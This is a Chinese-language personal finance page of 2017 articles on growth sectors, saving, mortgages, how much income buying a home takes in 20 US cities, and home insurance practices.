        这是那些无论股市和经济怎么变化都会成长的行业。瑞廷豪史(Jeff Rottinghaus)是T. Rowe Price公司美国大型核心基金的投资组合经理,他对长期成长性公司的定义是有关键产品,并不受经济衰退的影响。医疗健保即是经典的长期成长类行业。阿里尔投资公司(Ariel Investments)全球资产首席投资官班萨里(Rupal Bhansali)说:“世界上有很多这样的企业,经受了时间的考验。”

        云计算技术类股:

        公司和个人正日益寻求在远程服务器上存储数据,不仅减少成本,还方便在任何地方都可以获取信息。这项技术与其它技术的发展紧密相连,如无线宽带和移动数据技术。移动装置常用于获取云端数据,在任何地点都可以随时做到。富达OTC基金(Fidelity OTC Fund)的投资组合经理贝克(Gavin Baker)说,现在电脑工作量的10%由云计算处理,很快将会提高到95%,因为“更好、更快、更便宜”。

        人工智慧类股:

        贝克说,让计算机更聪明、能够做更多个性化的事情将是一个很大的方向,并有利可图。现在公司都在收集大数据,使数字决策成为可能。而智能装置的广泛应用是人工智慧发展的另一个关键因素,“对整个科技业来说意义重大”。

        金融类股或因川普减少监管而受益:

        当川普入主白宫后,他和共和党控制的国会将可能就投资相关的政策做出改变,减少监管是川普提出的最重大改变之一。高盛集团美国首席股权策略师科斯金(David Kostin)说,减少监管,特别是那些涉及到银行必须持有多少资本金的规定,将使金融业再次大受益。

        另一个赢家是付相对高税收的美国公司,他们将会因为少交税而获得更多的盈利。

        与汽车相关的技术行业类股:

        汽车的新发展趋势将整合多个行业。通过云计算技术,行驶的车辆将可以获取大量的娱乐和其它数据。依靠人工智慧的自驾车就是最典型的一例。同时,与之相关的软体和汽车部件的需求将大增,并不受经济起伏的影响。

        总之,2017年的赚钱之道在于创新,特别是与云计算或车有关的创新并符合川普新政。班萨里说:“创新其实就是智慧财产权,在行业发展中大有用武之地。

        2017-05-14 / by / in ,
        买保险为自己规划未来

        如果说储蓄是一种传统的家庭理财思维,那么,保险就应该是现代的家庭理财观念。消费者应正确处理消费、储蓄、投资和保险的关系。很多人总是将保险产品与银行储蓄比较,但实际上,保险最基本的功能是提供风险保障。


        买保险就是买自己的未来、买自己的养老,不是为了做投资。一纸保单所提供的是一种保障,是对于未来不确定风险的预防,是在人身遭受意外伤害时,对人身伤害的给付。而返还型险种所具有的本金返还、利息给付等职能,只是保障功能的一种补充。消费者买这类保险存下的钱,在某个年龄以后存活下来得到的保险公司提供的年金,用作未来养老生活是很必要的。

        对个人来说,投保寿险是获得对未知风险的保障,使其在受到意想不到的损害时,本人或家庭可以得到经济上的补偿,确保家庭经济的安定。也可作为一种储蓄工具,在保险有效期内,被保险人可以得到保险金额和养老所需的支出。

        理财是为了明天的生活存储今天的财富,保险就是为了未来存今天的钱。把节省下来的钱放到家庭的保险基金里,购买保险要覆盖生活中发生意外风险的方方面面。买保险是对自己和家人的一种负责任的态度。

        单纯的储蓄不会应付意外事故或重大疾病的巨额花费,即使你的存款足以应付,却会使你的生活质量大为受损,甚至捉襟见肘。保险有双重功能,在你平安时是一种储蓄,在你万一遇到事故时又能挺身而出,支付巨额费用,弥补意外损失,使你得以维持以前的生活品质。保险不同于一般的普通商品,选择保险更重要的是要看保险服务带来的价值,而非对比价格来决定保险是否适合自己。

        2017-05-14 / by / in ,
        不断的储蓄,在这一生中达到成为百万富翁的目标

        投资专家表示,开始投资永远都不嫌晚,但越早越好。可以你透过不断的储蓄,在这一生中达到成为百万富翁的目标。


        据商业内幕(业务内幕)网站报导,美国理财大师巴哈(David Bach)在其作品“富贵成双”(Smart Couples Finish Rich)中说,只要坚持系统地储蓄投资,就能成为有钱人。

        巴哈还说,你不需要有资金来赚钱,你只要做对决策,并付诸行动即可。

        为了解释这种财富随着时间累积的简单概念,巴哈以图表说明,你每天,每月或每年应该投资多少钱,才能在65岁之前存下100万美元。

        (资料来源:商业内幕/大纪元制表)
        这张表显示在65岁成为百万富翁的投资方案(资料来源:商业内幕/大纪元制表)。

        为了简化起见,这张表假设你的投资从零开始,而且每年投资的报酬率为12%,也不考虑税额。这样的投资报酬率显得有点乐观,但这主要是为了说明,就长期而言,日积月累的投资能产生巨大效益。

        从表中可以看到,如果从20岁开始存钱,每天只要2美元,就可以在65岁成为百万富翁;但如果从30岁开始,每天的投资就必须增至6.35美元,才能在65岁成为百万富翁,可见投资真的是要趁早。

        然而,如果你从50岁开始,每天存73.49美元,还是有可能在65岁成为百万富翁。所以,开始投资永远都不嫌晚。

        如果你立志赚大钱,期盼成为百万富翁的话,从今天开始就应该努力存钱,而且要坚持不懈,即便省下一杯饮料,对将来的财富都有所帮助。

        2017-05-13 / by / in ,
        贷款申请被拒绝怎么办?

        你已经找到理想的房子,卧室、厨房、浴室、地下室都很满意,只等银行贷款通过,就可以买新家俱和厨具了,结果接到银行通知,你的贷款申请被拒绝了。怎么办呢?


        根据消费者金融服务公司Bankrate的信息,一般贷款被拒绝的几个典型原因包括:信用问题(比如最近的破产记录)、迟付账单、工作不稳定、欠债过多,或收入不足。不过,一旦这种情况发生,不必失望,你还有其他选择。

        再度申请复核

        最简单的做法就是向同一银行重新申请,尤其是当你的条件接近标准时。你需要找到问题所在并设法补救,最好找同一银行的同一个贷款经办人。很多情况下,只需重新组织你的材料,就可能获得通过。

        多家尝试

        如果你的银行认为你的收入不足以支持你的贷款申请,或你因为迟付了学生贷款造成了信用问题,你还可以尝试其他金融机构,最好雇佣一位贷款经纪人,替你尝试不同的金融机构,往往是可以达成目标的。不过请注意,不同的金融机构贷款利率不同,而且,如果你的信用度越低,利率就会越高。

        寻找担保人

        也许你没想到这么快就找到了理想的房子,也许你刚刚找到工作,这时银行可能会要求你提供担保人,一旦你付不起贷款,担保人就必须替你偿付。这样,你实际在使用担保人的信用来为你申请贷款,你的贷款问题迎刃而解。

        借现金付足首付

        如果银行因为你的收入不足或存款不足,给出了你能贷款的上限,你可以向亲戚朋友筹措现金,付足至少5%的购房首付金,银行就会考虑贷款给你,但每月的债务额,包括房、车和信用卡,不能超过收入的40%。

        缩小贷款额度

        购房要量力而行,两层楼的豪宅当然好,但如果你负担不了,最好降低标准,选择分层式住宅,缩小贷款额度后,更容易得到贷款,了解自己的实际负担能力至关重要。

        Bankrate公司说,买房、贷款是人生最大的个人经济决策,确保选择最佳时机很重要,不要看别人的房子快速升值,就动了买房的念头,一定要准备好了再行动,事先筹画贷款因素,保持良好信用记录。同时,这将是你生活方式的转变,需要稳定的收入来源做保证。

        2017-05-13 / by / in , ,
        年薪多少 才能在美国这20个主要城市买房

        一份最新的报告分析,上班族想要在美国主要城市购房至少必须赚进多少银子才能负担得起房贷、房屋税以及保险。调查发现,要想在加州旧金山买房,最低年收入必须超过14万美元。


         美国房贷利率信息网站HSH.com近日发布的一份最新报告,分析美国人想在全美主要城市买房至少需要多少家户年收入才能负担得起房贷等开支。该数据是引用2014年美国全国房地产经纪人协会(National Association of Realtors)第四季的资讯。

        该报告显示,因为加州旧金山的房价中位数高达$742,900(美元,下同),其购置不动产的家户年收入也就最高,达$142,500。名列第2和第3名的城市也都在加州,分别是圣地牙哥的$95,500以及洛杉矶的$89,500。旧金山的购屋年收入是排名第20名宾州匹兹堡的将近4.5倍;而房价中位数是5.5倍。

        此外,在德州的3个城市:休士顿、达拉斯以及圣安东尼奥,它们的房价中位数就比较平均,介于$185,500~$199,300之间;家户最低年薪收入必须要介于$45,500~$50,000之间。

        美国第一大城——纽约的房价中位数为$390,000,要在这里买得起房子的最低年薪是$87,500,每个月必须缴纳的房贷款项是$2,042。

        据分析人口和收入分布的森提尔研究(Sentier Research)之信息,2014年全美家户年收入中位数为$53,891,也就是说,低于以下排名前10名的主要城市之购屋最低年薪收入。

        本文整理HSH.com上的资料,列出20个美国主要城市的房价中位数、每月须缴房贷款(30年固定利率)以及最低年薪收入的数据。各城市的人口数则是参考worldpopulationreview.com的网站资料。

        1. 旧金山,加州(San Francisco)

        一份最新的报告发现,要想在加州旧金山买房,最低年收入必须超过14万美元。(Fotolia)
        一份最新的报告发现,要想在加州旧金山买房,最低年收入必须超过14万美元。(Fotolia)

        人口:777,660
        房价中位数:$742,900
        每月房贷款:$3,323
        最低年薪收入:$142,500

        2. 圣地牙哥,加州(San Diego)

        圣地牙哥,加州(San Diego)。(Fotolia)
        圣地牙哥,加州(San Diego)。(Fotolia)

        人口:1,284,347
        房价中位数:$493,100
        每月房贷款:$2,226
        最低年薪收入:$95,500

        3. 洛杉矶,加州(Los Angeles)

        洛杉矶,加州(Los Angeles)。(Fotolia)
        洛杉矶,加州(Los Angeles)。(Fotolia)

        人口:3,794,640
        房价中位数:$450,900
        每月房贷款:$2,092
        最低年薪收入:$89,500

        4. 纽约(New York City)

        纽约(New York City)。(Getty Images)
        纽约(New York City)。(Getty Images)

        人口:8,213,839
        房价中位数:$390,000
        每月房贷款:$2,042
        最低年薪收入:$87,500

        5. 波士顿,麻萨诸塞州(Boston)

        波士顿后湾区的玉兰树,在风中摇曳,美不胜收。(徐明/大纪元)
        波士顿后湾区的玉兰树,在风中摇曳,美不胜收。(徐明/大纪元)

        人口:645,966
        房价中位数:$383,200
        每月房贷款:$1,867
        最低年薪收入:$80,000

        6. 华盛顿哥伦比亚特区(Washington, D.C.)

        华盛顿哥伦比亚特区(Washington, D.C.)。(Fotolia)
        华盛顿哥伦比亚特区(Washington, D.C.)。(Fotolia)

        人口:582,049
        房价中位数:$372,800
        每月房贷款:$1,805
        最低年薪收入:$77,500

        7. 西雅图,华盛顿州(Seattle)

        西雅图,华盛顿州(Seattle)。(Fotolia)
        西雅图,华盛顿州(Seattle)。(Fotolia)

        人口:652,405
        房价中位数:$352,000
        每月房贷款:$1,699
        最低年薪收入:$73,000

        8. 丹佛,科罗拉多州(Denver)

        丹佛,科罗拉多州(Denver)。(Getty Images)
        丹佛,科罗拉多州(Denver)。(Getty Images)

        人口:649,000
        房价中位数:$314,800
        每月房贷款:$1,438
        最低年薪收入:$61,642

        9. 沙加缅度,加州(Sacramento)

        沙加缅度,加州(Sacramento)。(Fotolia)
        沙加缅度,加州(Sacramento)。(Fotolia)

        人口:485,000
        房价中位数:$268,700
        每月房贷款:$1,363
        最低年薪收入:$58,413

        10. 芝加哥,伊利诺州(Chicago)

        芝加哥,伊利诺州(Chicago)。(Fotolia)
        芝加哥,伊利诺州(Chicago)。(Fotolia)

        人口:2,824,584
        房价中位数:$195,100
        每月房贷款:$1,268
        最低年薪收入:$54,500

        11. 巴尔的摩,马里兰州(Baltimore)

        巴尔的摩(Baltimore)是美国马里兰州最大城市、美国大西洋沿岸重要海港城市,离美国首都华盛顿仅有60多公里。(Stephen Munday/Getty Images)
        巴尔的摩(Baltimore)是美国马里兰州最大城市、美国大西洋沿岸重要海港城市,离美国首都华盛顿仅有60多公里。(Stephen Munday/Getty Images)

        人口:640,064
        房价中位数:$233,200
        每月房贷款:$1,228
        最低年薪收入:$52,500

        12. 费城,宾夕法尼亚州(Philadelphia)

        费城,宾夕法尼亚州(Philadelphia)。(Fotolia)
        费城,宾夕法尼亚州(Philadelphia)。(Fotolia)

        人口:1,517,628
        房价中位数:$213,300
        每月房贷款:$1,187
        最低年薪收入:$51,000

        13. 休士顿,德州(Houston)

        休士顿,德州(Houston)。(Fotolia)
        休士顿,德州(Houston)。(Fotolia)

        人口:2,076,189
        房价中位数:$199,300
        每月房贷款:$1,166
        最低年薪收入:$50,000

        14. 达拉斯,德州(Dallas)

        达拉斯,德州(Dallas)。(Fotolia)
        达拉斯,德州(Dallas)。(Fotolia)

        人口:1,246,185
        房价中位数:$189,600
        每月房贷款:$1,138
        最低年薪收入:$49,000

        15. 圣安东尼奥,德州(San Antonio)

        圣安东尼奥,德州(San Antonio)。(Wiki撷图)
        圣安东尼奥,德州(San Antonio)。(Wiki撷图)

        人口:1,258,733
        房价中位数:$185,500
        每月房贷款:$1,058
        最低年薪收入:$45,500

        16. 凤凰城,亚利桑那州(Phoenix)

        凤凰城(Phoenix)市中心。(Fotolia)
        凤凰城(Phoenix)市中心。(Fotolia)

        人口:1,476,331
        房价中位数:$200,300
        每月房贷款:$948
        最低年薪收入:$40,500

        17. 亚特兰大,乔治亚州(Atlanta)

        亚特兰大(Atlanta)。(Getty Images)
        亚特兰大(Atlanta)。(Getty Images)

        人口:450,000
        房价中位数:$157,700
        每月房贷款:$835
        最低年薪收入:$35,800

        18. 底特律,密西根州(Detroit)

        大雪过后的底特律(Detroit)。(Joshua Lott/Getty Images)
        大雪过后的底特律(Detroit)。(Joshua Lott/Getty Images)

        人口:921,147
        房价中位数:$135,800
        每月房贷款:$828
        最低年薪收入:$35,500

        19. 克里夫兰,俄亥俄州(Cleveland)

        克里夫兰,俄亥俄州(Cleveland)。(Wiki撷图)
        克里夫兰,俄亥俄州(Cleveland)。(Wiki撷图)

        人口:390,000
        房价中位数:$121,200
        每月房贷款:$747
        最低年薪收入:$32,010

        20. 匹兹堡,宾州(Pittsburgh)

        美国宾州匹兹堡(Pittsburgh)莎迪赛德区。(Fotolia)
        美国宾州匹兹堡(Pittsburgh)莎迪赛德区。(Fotolia)

        人口:306,500
        房价中位数:$135,000
        每月房贷款:$740
        最低年薪收入:$31,716**

        2017-05-13 / by / in ,
        10个投资房地产一定要知道的秘诀

        “有土斯有财”,很多人在选择投资项目时通常以房地产为首要考量,长期而言,房地产的确是最安全,也最保值的投资方式之一。本文整理网络上关于投资房地产时应注意的事项,告诉你10件投资前一定要知道的事情。


        以下是澳洲房地产网realestate.com.au建议的10个开始投资房地产的秘诀。

        1.清楚你有多少预算

        投资房地产所需的资金并不是一笔随手可得的小数字,当你着手投资计划时,一定要清楚你手头上有多少现金流。另要求银行提供你的贷款明细,如此一来,你就可以清楚了解你的总预算是多少。

        2.别低估隐藏成本

        一定要确认你的预算也涵盖利率,保险以及房屋的修缮费用。当你买到心目中的房地产时,尽可能地避免增加维修成本。

        3.在具潜力的地区投资

        投资房地产有一个法则就是“地点”,好地点的房地产不仅未来升值空间高,打算出租时租金也高。通常交通便利或是大学城旁的房子出租都很容易。

        4.投资目标要实际

        你必须对自己的投资目标务实点,想看看你要的是多赚钱还是只想长期拥有它在经济看好的时候,把房子装修好可以快速脱手获利;但是在经济不景气的时候,想卖掉可能就要花一段很长的时间。

        5.血汗钱省下来自己赚

        装修房子的人力成本越来越高,如果想省下这笔不算少的费用,不防考虑自己动手装修房子。

        6.出租房讲实用而非豪华内装

        记得!投资房出租时讲实用而不重豪华内装,千万别因为有吸引奢华的内装而投资这个房地产。

        7.不要只因景色优美就投钱

        景色优美的世外桃源的确令人陶醉,但是投资不讲浪漫。若是这个地点需要花几个小时才能抵达,或是交通十分不方便,那你就得好好考虑了。

        8.当租金无法抵过利息时,请三思

        如果你的房屋租金无法抵过银行利息时,就必须谨慎思考是否继续投资。因为这可能造成你的财务危机,所以在投资前,务必算清楚租金是否高出银行利息。

        9.你自己住的房子尚未偿清债务?

        投资房地产并不是说你已经偿还了所有房子的贷款才能再买新的标的物,但是你必须非常清楚你的负债状况,包括所有的贷款数据以及信用卡支出,确保现金流量,不能入不敷出。

        10.购买房地产前必须先做建物检查

        在签约之前,必须详细阅读建物报告并做房屋检查,以避免在购买之后还要花一大笔费用修补。另外就是要注意,有时候终止合约还会有罚款。

        2017-05-13 / by / in , , ,
        快快还清债务 掌握这些原则就对了

        在北美生活,如果同时需要负担大学学贷信用卡债务和购车等贷款可不是一件轻松的事。如何才能最快实现“无债一身轻”呢?美国《时代》周刊的财经作家日前分享了一些原则和技巧。


        一、集中还清利率最高的债务

        最重要的原则是,还款不应是随意性的,需要制订周密的攻略:先选择一种债务集中偿还,其它的则只支付所要求的最小数额。如果能集中还清利率最高的负债,长远来看会省得最多。由于信用卡的平均利率高达18%,还清卡债应定为首要任务。

        1. 利用利率差做余额转结

        关于信用卡还款,信用卡专家、金融教育网站SmartCredit总裁约翰‧奥兹海默(John Ulzheimer)推荐一种应急之法:申办一张在优惠期(introductory period)内利率(intro rate)为0%、不收余额转账费(balance-transfer fee)的新卡,把旧卡的债务转过去。

        举例说,把旧卡的部分债务转到新卡上。如果旧卡的利率是18%,而新卡在申办后12个月内的优惠利率为0%,且无转账费,则这笔转账债务就省下了一年的利息。

        需要注意的是优惠期后的年利率(APR)。奥兹海默也提醒:“转移余额前必须明确目的,是要在债务泥潭里多挣扎12个月,还是利用这12个月的时间竭力清欠债务。”实际上,在背负大额债务时领取新卡,优惠期结束后获得更低年利率的可能性不大。

        申请人最好在办卡前登录开卡银行网站,仔细阅读相关条款和协议,了解其对消费(purchase)、余额转结(balance transfers)及现金垫款(cash advances)的年利率(APR)如何规定。要确保新卡的限额足够高,有些卡声称无上限,实际还是有限额。

        同时,增加信用卡,会降低持卡人的信用评分。奥兹海默建议,一旦申办了新卡,每月要准时偿清卡债,并在其优惠期结束前把卡上债务全部还清。

        2. 先还清数额最小的卡债

        如果你还是感到不知所措,金融网站Nerd­ Wallet专家肖恩‧麦克维(Sean McQuay)建议你先把数额最小的一笔卡债还清,“那样你就会感到小有成果”。美国西北大学凯洛格管理学院研究发现,能先还清一笔小额卡债的人,按时还清全部卡债的成功率更高。

        二、看清目标 掌握节奏

        在各种债务计算器中,纽约市财务规划师马丁‧普尔(Martin Poole)推荐一款线上工具PowerPay.org,可以观察到个人积蓄与债务金额的动态变化。这款英文工具可帮举债者进行全方位的财务规划,让用户对日常花销、多久能还清贷款等获得具体的概念。

        三、“大棒”督促自己履行合约

        最后,无论采取哪种方法,都可以利用网络工具StickK.com来督促自己实现目标。由耶鲁大学经济学家与法律学家合作开发的这个网站,让用户和自己签下“合约”,如果届时达不成目标,就要按合约将押金缴作罚款,这笔款会自动寄给慈善机构。据统计,签了约并交了抵押金的用户中,有72%都达成了自己设定的目标,而没有交押金的人只有29%达成愿望。

        2017-05-13 / by / in
        户主信用低 房屋保险贵三倍

        在美国,个人信用不佳可能导致经济上寸步难行,而华盛顿特区在这一点上尤为明显。户主的信用好坏,会影响到房屋保险金的高低。


        根据保险网站InsuranceQuotes.com一份最新的调查,在特区,信用不好的业主的房屋保险金,平均比信用好的业主多185%,差别最大的保险金额,甚至超过3倍。这个比率的全美平均值是100%,特区是全美第二高。

        在特区,信用一般的业主,保险金也要比信用好的业主多61%。这一数值也是全美第二,全美的平均值是32%。

        网站负责人劳拉‧亚当斯(Laura Adams)表示,过去的一年,全美29个州和特区的保险金差额有所增加。另有17个州,该数值有不同程度的下降。“按时付费、减少负债、纠正信用报告的错误,现在,维持一个良好的信用记录比任何时候都重要。”

        2017-05-13 / by / in ,
        两家庭改三家庭未报保险公司 火灾后索赔难

        皇后区一个牧师的家在火灾中付之一炬,由于其将两家庭的房子改为三家庭,但没有告之保险公司,所以保险公司拒绝理赔。


        根据ABC7台报导,Dianna Bryan牧师的家由于用电不当引起火灾,被全部烧毁。他们虽然从2002年起购买保险,包括房屋,车库,个人财产和使用损失,但是他们却不能从保险公司那里拿到一分钱。保险公司表示,这是因为布赖恩家的保险是投保两个家庭结构的,但他家地下室的门显示他们有第三个家庭。

        布莱恩解释说,他们要接待从世界各地来的朋友,以及受虐待的妇女。为他们申请理赔的理算师也进一步解释,因为这样的原因,所以地下室另开了一个入口,但那并不是一个独立的住所。但是保险公司认为,受损的不是一个两家庭的住所,而是一个三家庭的住所,所以保险不包。

        对于这个案例,法拉盛人人保险公司张格雷斯介绍说,在购买保险时,投保人要向保险公司提供真实信息,如果提供的资料不真实,欺骗保险公司,并欠了保险公司的保费,在发生意外时,保险公司有权拒绝理赔。她亦提醒,房屋扩建,改建,内部重新装修,都需要联系保险公司调整保额。她指出,不少华人中心社群房屋保险时往往喜欢讨价还价,常问“能不能再便宜些?”其实’一分钱一分货’,保额降低,投保的项目也就减少,这样就增加了房子的风险。

        2017-05-13 / by / in ,
        房屋保险公司不会告诉你的10件事

        适当的房屋保险可以在意外损失发生时,同时保护房主及贷款公司的利益,在美国购买房屋,如果没有同时购买房屋保险,绝大部分房贷公司不会提供贷款给你,因此正确的选购及处理房屋保险非常重要。美国智钱网(SmartMoney.com)提供房产保险公司不会告诉你的10件事,让你了解保险公司的运作手段对你权益保障大有帮助。


        1.我们有权调整客户费率等级

        住在芝加哥郊区的执业医师梅尔(Sam Mayer),向大都会人寿保险公司投保房屋险、车险与寿险已长达十年,却从未申请过理赔,后来他的房子遭人侵入偷窃,再加上屋顶毁损,使他必须向该保险公司申请这两宗合计约三千美元的理赔金。

        事后,梅尔虽然立即安装了新的房屋保全系统,但保险公司并没有因此给予保费折扣。另外,他的风险评估值其实也没有改变,保险公司却因为他有索赔纪录,将他的优惠保障范围调整标准保障,并提高保险费率。

        的确,几乎所有的保险公司都会将保单依照顾客的实际情况分级,判断的因素包括顾客的信用评分或者是他居住的环境。已退休的德州政府保险局公共资讯部主任戴维斯(Jim Davis)表示:“即使你的风险评估值并没有改变,你还是有可能从他们最想争取的的顾客变成最想要闪避的高风险群,因此而被收取较高的保费。这时你一定要向他们询问把你降等的原因,只要你懂得争取,你还是有可能回到原来的等级。”。另外,一个被小型的保险公司评定为住家环境风险较高的顾客,还是有可能被大型的保险公司列为值得争取的对象。

        2.特定族群会受到不平等待遇

        大家都知道,如果你家靠近水源区或者地震带,保险公司通常不太愿意承保,政府主管机关对此也无可奈何。但是有些保险公司会针对特定族群或地区的客户给予不平等待遇。保险经纪人多半都有一份备忘录,上面记载着哪些地区的投保人不受欢迎,或者是提醒他们要远离那些婚姻状况出问题的夫妻。

        如果你因为那些不合理的条款而被保险公司歧视,一定要提出异议。曾经有一位年长的女士和伴侣买新房子要加保却被拒绝。这位女士聘请律师为她处理,并向美国公民自由联盟(American Civil Liberties Union)寻求协助。结果,保险公司不但承认错误,并且立即受理这位女士的保单。

        3.出错一次 永不录用

        当保险公司打算节省开支的时候,他们对客户的资格审查会变得比较严格,有时即使客户只申请过一次理赔,或者连一次理赔也没申请过,结果还是被终止合约。一旦你曾经被某家保险公司终止过合约,就很少有保险公司愿意再受理你的保单。

        住在马里兰州的财务规划师马丁(Mike Martin),曾经因为他养的狗咬了一个房屋维修工人,申请保险公司支付赔偿金。后来当他的保单到期时,保险公司却拒绝续保。接下来的几个礼拜,他疯狂地到处找寻保险经纪人受理他的保单,但是“狗咬人事件”对保险公司来说是一个警讯,他们全都拒绝了他的申请。由于没有保险公司愿意承保,为了避免房屋贷款被冻结,他只好找比原来投保费率高五倍的保险集团承保。最后,当他向马里兰州政府保险管理部门提出申诉后,原来的保险公司才继续受理他的保单。

        4.个人隐私完全被掌控

        在现今这个资讯爆炸时代里,想要有隐私权几乎是不可能的事。尤其是当你要投保房屋险的时候,保险公司会用尽一切手段去取得与你的信用有关的一切资讯,甚至还包括对你个人行为模式的研究。

        最普遍的来源是一种被称为“综合损失承保交易系统”(Comprehensive Loss Underwriting Exchange)的报告,这项报告可以帮助保险公司了解屋主和房屋本身的所有理赔历史纪录,让保险公司可以预估签下这张保单所必需承担的各种风险。

        前麻萨诸塞州保险业监理专员露塔德(Linda Ruthardt)表示:“保险公司声称他们需要这项服务,是因为他们要将那些意图隐瞒自己理赔历史的顾客排除。但问题是,即使你过去申请的各项理赔都合法,在你能证明你完全无辜以前,他们都认定你有罪。一旦你被一家保险公司贴上高风险顾客的标签,其他的保险公司也同样不愿替你承保。”

        5.拒保的标准是最高机密

        如果你打电话给保险公司,询问他们到底要申请过多少次理赔才会拒绝受理你的保单,或者将你列为高风险群。通常他们不会给你答案,即使该公司内部有既定的原则,也没有义务与你分享这些。如果公司内部对此并未明文规定,那他们对你就可能任意做出决定。

        爱荷华州的一位独立经纪人桑德曼(Ron Sundermann)表示:“有时某些中阶的保险经理会去调查保险公司的理赔纪录,以决定是否将拒绝承保的标准,从申请过三次理赔,降为二次”。保险公司不会将此改变告知经纪人,因此当客户的屋顶损坏需要花一千美元修缮时,经纪人无法建议客户到底是要自费负担,还是要向保险公司申请理赔。

        另外,申请理赔的频率过高也会惹来麻烦。桑德曼说,有一个客户过去三年的纪录一向良好,后来申请四件小额的合法理赔,总数不到五千美元,却依然被保险公司所弃保,保险公司告诉他,问题出在申请赔偿的频率,而不在金额多寡。因此,他建议只有在申请赔偿金额很高的时候,才向保险公司提出申请,至于其他数额不高的,自己掏腰包解决就算了。

        6.超收不合理保费

        说到房屋,你最不希望见到的是你的投保金额低于实际价值,但你是否曾经想过你的投保金额也有可能过高,使你必须付出较高的保费。这种事情经常发生,通常是替你办理抵押借款的人所造成的。例如,银行通常会要求你的保险范围可以包含整栋房屋的价值,甚至连土地也包括在内。但这其实不合理,因为土地不可能会因为火灾而被焚毁,你真正需要投保的只是房子而已。

        如果你的保险公司经以通货膨胀为由提高保单费率,你应该仔细研究一下,你投保的金额是否比你房子实际的价值还高。保险公司经常会派人来检查你的房子,看看还有什么东西必须纳入承保范围,但这不代表他们就有权决定一切。例如:戴维斯(Jim Davis)的保险公司派人来检查他的房子后,硬是将空旷的阳台算入保险范围,大幅提高他的保费,但阳台上空荡荡的,根本就没有什么东西会因为毁损而需要更换,戴维斯认为这是不合理的,据理力争,结果省下了几千元保费。

        专家建议,如果你怀疑你的保费太高了,你应该要求你的保险公司重新来做评估,看能不能把投保金额降低到合理的数字。

        7.很多损失不在理赔范围之内

        某天,住在科罗拉多州的摩瑞西夫妇(Rick and Anne Morrissey)安静地坐在客厅里,却突然听到后院一声巨响。当他们冲到屋外去查看时,发现有两只巨型的麋鹿闯进来,弄坏了孩子们的秋千。当他们向保险公司申请理赔时,才惊觉大部分的保险,对动物所造成的损害,竟然都不负责理赔。事实上,在保单里隐藏的排除条款,会让你惊讶连连的还多着呢!

        这就是为什么,当卡翠娜飓风(Hurricane Katrina)过后,即使有投保洪水险的屋主,个人物品的损失,都无法获得理赔。消费者保护团体“美国看门狗(America’s Watchdog)”的创办人马丁(Thomas Martin)家附近的防波堤溃堤后,在他家一楼所有的财产,包括珠宝、电脑和平面电视等,都被有毒的油污水给毁坏了。马丁表示,如果他当时知道引用联邦紧急事务管理署(Federal Emergency Management Agency)的补充条款,把私人物品的损失也包含在洪险的理赔范围内,那么他个人的贵重物品,有一些应该可以获得理赔。

        佛罗里达州维罗海滩(Vero Beach)的独立经纪人汤普森(David Thompson)表示,保单上最令人难以理解的部分是有关财物遗失的理赔规定。比方说,你的珠宝不小心掉进排水管,通常都无法获得理赔。但是,如果你把珠宝忘在公共场所的水槽边,等你回头去找,它已不见踪影时,大部分的保险公司会把它当成是窃盗案件,而赔偿你的损失。

        8. 找超级经纪人可享受特殊待遇

        保险公司通常会告诉你,有获得授权的经纪人都是好经纪人。但他们却时常厚此薄彼,对于那些最能帮公司拉生意的,或者其客户申请理赔最少的经纪人,公司还是会让他享有特殊待遇。通常,保险公司会让这些超级经纪人拥有宛如精英份子般的特殊地位。比如说“国营农场(State Farm)”公司就特别为这些帮公司赚最多钱的经纪人成立了一个“总统俱乐部”。

        那么,找这些超级经纪人买保险,对你有什么好处?你可以获得比较大的回馈。例如,在洽谈保费时,可以有较大的弹性,更重要的是,比较不会受到公司内规的限制。比方说,美国国际集团(American International Group)通常只承保时速在50英里以内的船舶,但加州的明星经纪人葛雷斯(Michael Grace)却亟力说服该公司接受一位客户的快艇保险案。

        超级经纪人享有的特殊待遇,在你申请保险理赔时也同样管用。而且当你申请过理赔后,超级经纪人有权决定继续为你承保,而非任由保险公司终止你的保单。此外,他们也能将客户的等级由普通的级别提升至受欢迎客户的级别。

        9.对老房子有偏见

        你可能希望拥有一栋在1940年那个美丽时代所建造的,古色古香的老房子。感觉上是挺浪漫的,但当你想为房子保险时,麻烦就来了。因为很多保险公司都排斥老房子,即使屋龄也不过才三、四十年而已。住在德州奥斯汀的达拉(Yvonne Darrah)有一栋32 年的房子,她至少找了10家保险公司洽谈过,才为她的房屋找到一个合理的保险费率。

        即使有人愿意承保你的老房子,你所获得的承保条件也可能不是最好的。如果你所在区域的房价正在下跌又或者大部分都是老房子,那么一些保险公司就不愿意在保单中和你签定“保证重建价值(Guaranteed replacement cost)”的条款,因为有了这项条款,万一房子有损失,保险公司赔偿重建成本,没有最高限度。他们通常只愿意承保少数的风险,或者只提供“现金价值(Cash value)”赔偿,而且还得先扣掉折旧。

        10.货比三家不吃亏

        市场上的保险公司良莠不齐,要选一家优良的保险公司,首先必须搜集各家保险业者的评级。你可以从当地的图书馆,找到几个主要评鉴机构,例如:“A. M. Best”、“Moody’s”或者“Standard & Poor’s”所做的评鉴报告,以了解各保险公司的优劣。

        州政府保险部门也可提供相关的资讯。例如:德州与密苏里州政府都设有网站,提供你各保险公司在不同地区的最新评级资讯,并且指导你提出申诉的秘诀。如果在网站上找不到相关讯息,那么只要一通电话,他们就会告诉你这家保险公司在其他消费者心里的地位。

        2017-05-13 / by / in ,
        发生事故财产受损,第一时间应该做什么?

        问:发生事故财产受损,第一时间应该做什么?
        答:首先立刻想法停止损失,如拨打911。第二,通知自己的保险经纪人。第三,记录证据。如果发生碰撞事故,一定要立刻寻找证人(自己车上的证人不算),或者自己录影记录;如果房子发生火灾,应在最快的时间内,把当时的情形记录下来,如用智能手机录影等。


        问:我刚从外州搬到纽约州,健保应该怎么办理?
        答:只要你能提供证据,证明你是刚刚从外州搬到纽约,就可以重新在纽约购买奥巴马健保。

        问:我需要买雨伞保险(Umbrella Insurance)吗?
        答:雨伞保险是一种附加的责任险,是在汽车和房屋等的责任险的赔付额度达到上限、全部用尽时才生效的一种保险,费用并没有大家想像的那样高。如果财力够,应该投保雨伞险。

        问:上网买保险可以吗?
        答:可以的,这是个趋势,但是必须去可靠的网站。不过网上购买可能由于互动不够,有些问题不容易弄清楚。另外,法律规定,必须有执照的经纪人才可以在电话里回答问题。

        问:小孩子的健康保险最好从几岁开始买?
        答:出生第30天就要开始买。一般来讲,孩子出生的第一个月,如果母亲有保险,会保到婴儿,但是30天之后,婴儿就必须要有自己的健康保险了。

